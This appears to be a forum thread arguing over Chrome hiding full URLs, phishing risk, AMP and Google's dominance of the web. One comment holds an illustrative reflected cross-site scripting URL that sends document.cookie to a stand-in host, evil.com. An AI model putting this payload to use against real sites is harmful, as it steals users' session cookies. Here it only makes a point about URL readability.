would you care if you went to mybank.com.sketchysite.us?

Isn't that the point of this change, only showing the domain to prevent phishing?

No, they already were doing that by using color to make the other parts less prominent. There is no good explanation to to this change than making people rely more on Google search.

That's a pretty big leap, especially since users can change Chrome's search engine.

There are a couple of reasons they could be making this change highlighted in these threads.

It's the default, and most people who would change it (let's be honest, for privacy reasons) would switch to something like Firefox.

It still feels like you dove into the deep-end of the data collection conspiracy pool before considering other more-likely explanations, like "They have the information now to know that, in general, using color to make the rest of the bar less prominent wasn't sufficient to minimize users feeding data to malicious sites."

A better comparison would be mybank.com/logmein vs mybank.com/login vs mybank.com/l.jx?s=AU8NE6FX5IKMD2

And no, users do not need to care the slightest whether they go to the first, second or 3rd URL. What they care about is that they are entering their sensitive information on mybank.com's domain and not a russian counterpart, that's it.

How about mybank.com/login?reflect=%3Cscript%3Enew%20Image().src=%22http://evil.com%22%20+%20document.cookie%3C/script%3E

That URL is utterly indecipherable by 99.99% of Internet users, so displaying it in full does absolutely nothing to protect users.

The onus to protect against a website takeover is on the domain/server owner, certainly not on the browser vendor although they try to mitigate simple attack vectors.

edit: added a few 9s

Well, it switches that 99.99% to 100% now, so a step backwards.

They already used colors to de-emphasize other components, this doesn't look like anything else than pushing people to rely more on google search.

> Well, it switches that 99.99% to 100% now, so a step backwards.

Refraining from collecting malicious links happens before you click, by the time it's in the URL bar it's already pretty late to mitigate against attacks.

Bad analogy. AMP is a Google content proxying technology, and Google isn't generally understood to be a "sketchy site."

Users with the level of paranoia that puts Google in the "untrusted site" space should be sidestepping this whole conversation by avoiding using the browser Google develops regardless of what Google does to its URL bar.

> AMP is a Google content proxying technology, and Google isn't generally understood to be a "sketchy site."

The whole idea of AMP pages is sketchy by default, as it's Google taking content from websites run by news media outlets and hosting it on their own servers so they have even more control over user-tracking.

In the long term, this has the potential to further centralize the Internet, something the Internet was never meant to be.

It's not that difficult to imagine a future where news media won't even host their own stuff anymore but instead outsource it all to Google.

Very comparable to how Facebook has become the de-facto place for small businesses, with little to no IT knowledge, to have their own little web-presence.

Which has certain advantages, but it's dangerous to belittle the very real disadvantages that kind of centralization of content will have in the long term.

Again, people concerned over this risk scenario should be switching to another browser regardless of what it does to the URL bar, right? I doubt we're going to find many users who's thought process runs "I'm really concerned about the long-term risk of Google building a dystopian information warehousing monoculture, but I was still going to use chrome. But now that they're changing the UI to, I assume, support their goals of building a dystopian information warehousing monoculture, it's A BRIDGE TOO FAR."

>people concerned over this risk scenario should be switching to another browser

IMHO it's our duty as technical users to advocate for a more private, open and de-centralized web for everyone.... We should especially be doing it on behalf of the users who don't understand the long term implications of Google's (anti-) features.

'Just switch to another browser if you don't like it' is not a compelling argument.

That's fine. In my humble opinion it's our duty as technical users to build a web that is both safe and usable by non-technical users. Sometimes we do that via improved privacy, more openness, and decentralization; sometimes we do it by centralization (lists of threat websites, certificate chains of trust baked into browser defaults), less privacy (expecting users to authenticate before making meaningful changes on sensitive data or people's money), and more closed architecture (ad spam countermeasures).

Every tool in the toolbox to make the web better.

But switching to another browser does nothing to challenge AMP, as these changes are mostly pushed on the server-end while changes to the browser end, like this one, serve to further obfuscate this consolidation of Google's dominance on the web.

In that context, it's a bit cynical to belittle the problem as you are doing there when this has been a very real issue for several years. As by now Google, Facebook, and Amazon control the vast majority of web traffic and have been doing so for years already [0].

This isn't some hypothetical scenario, it's something that's already very real.

[0] https://staltz.com/the-web-began-dying-in-2014-heres-how.htm...

Switching to another browser would let a little air out of the Google hegemony.

Google is "sketchy" for any non-American who wishes not to be subject to the whims of American law and espionage.

Wouldn't Mozilla also fit that description?

Since Mozilla doesn't collect search, browsing, location, and email history — No, it's not the same. It's not even close.